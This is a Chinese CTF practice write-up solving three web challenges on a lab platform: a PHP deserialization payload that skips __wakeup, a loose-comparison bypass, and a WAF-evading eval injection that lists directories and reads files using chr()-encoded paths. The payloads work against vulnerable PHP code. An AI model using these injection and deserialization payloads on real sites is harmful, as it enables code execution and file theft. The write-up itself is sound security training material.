[BT]BUUCTF刷题第6天（3.24）

第6天（共3题）

Web

[极客大挑战 2019]PHP

Payload：

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

这道题考点是网站源码备份文件泄露和PHP反序列化，有篇介绍PHP反序列化考点的文章：PHP序列化反序列化漏洞总结（一篇懂）

打开网站是一个小游戏，根据题目提示得知需要找到网站的备份文件，这里使用dirsearch进行扫描（由于使用dirsearch自带的字典完整扫描一遍耗时过长，因此根据网上的题解我自己写了一个包含正确备份文件的字典，缩短扫描时间）

返回状态码200，说明确实存在该文件，访问下载

经过查看，flag.php中不包含正确flag，然后打开index.php进一步查看（发现关键内容：include 'class.php';和$res=unserialize(@$select);）

打开class.php文件

<?php
include 'flag.php';

error_reporting(0);

class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){    /*__construct()当对象被创建即new之前，
    会触发进行初始化，但在unserialize()时是不会自动调用的。*/
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){                                //__wakeup()将在反序列化之后立即调用
        $this->username = 'guest';
    }

    function __destruct(){                             /* __destruct()在到某个对象的所有引用都被删除
    或者当对象被显式销毁时执行*/
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

需要反序列化后的对象满足username === 'admin’且password = 100

初始Payload：

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}

生成代码：
user

<?php
class Name
{
    private $username = 'admin';
    private $password = '100';
}
echo serialize(new Name());
?>

因为username和password变量是private类型，变量中的类名前后会有空白符，而复制的时候会丢失，所以还需要加上%00（private类型序列化结果是%00类名%00属性值）

修改后的Payload：

O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

但是如果直接将这行字符串传进去反序列化的话网站会首先执行__wakeup()魔法方法修改username 为 ‘guest’，所以需要修改属性数量（当对象的属性数量和序列化后的属性数量值不等时会不执行__wakeup()魔法方法）

最终Payload：

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

注意“Name”后的2变成了3（只要不等于2就行）

通过GET传参获取flag

[ACTF2020 新生赛]BackupFile

Payload：

http://a9e22c40-e35e-48a3-81f3-61db800e704d.node5.buuoj.cn:81?key=123

提示我们需要找到源代码，所以这道题的解题思路也是备份文件，通过dirsearch扫描

发现了index.php.bak文件，访问这个文件自动下载

直接打开后得到源码：

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}
?>

考点是==的弱类型比较：

1. === 在进行比较的时候，会先判断两种字符串的类型是否相等，再比较具体值
2. == 在进行比较的时候，会先将字符串类型转化成相同类型，再比较
3. 如果比较一个数字和字符串或者比较涉及到数字内容的字符串，则字符串会被转换成数值并且按照数值来进行比较

这里$str = “123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3”;被截取前三位，即123后与$key进行比较

因此直接传?key=123即可拿到flag（注意只能是数字123，不能是字符串123，即'123'）

[RoarCTF 2019]Easy Calc

打开网站发现是一个类似计算器的内容，F12看到提示说网站使用了WAF防护并且还有一个calc.php文件

访问calc.php文件得到：

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

可以看到假如我们传给num一个合适的值后（绕过黑名单）就能通过eval函数执行命令

当num为数字时网页正常返回，但当num为非数字时，WAF会检测num并禁止访问

这里的思路是，WAF检测的是"num"参数，若我们在num参数前添加空格，让num变成 num，那么就可以绕过WAF，并且php在接受参数时会将空格删除，将 num转变成num

接下来是构造命令，因为php文件不允许空格和\,所以使用chr(ASCII码)进行绕过

源Payload：

? num=scandir("/")      //scandir可以扫描目录，这里是根目录

绕过后的Payload：

? num=var_dump(scandir(chr(47)))

发现[5]=> string(5) "f1agg"，进行访问

源Payload：

? num=file_get_contents("/f1agg")      //

绕过后的Payload：

? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))